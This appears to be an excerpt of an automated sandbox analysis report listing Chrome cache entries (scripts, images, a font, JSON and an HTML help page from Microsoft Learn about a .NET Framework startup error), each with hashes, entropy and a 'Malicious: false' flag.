Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	downloaded
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-ignite-2024.jpg
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
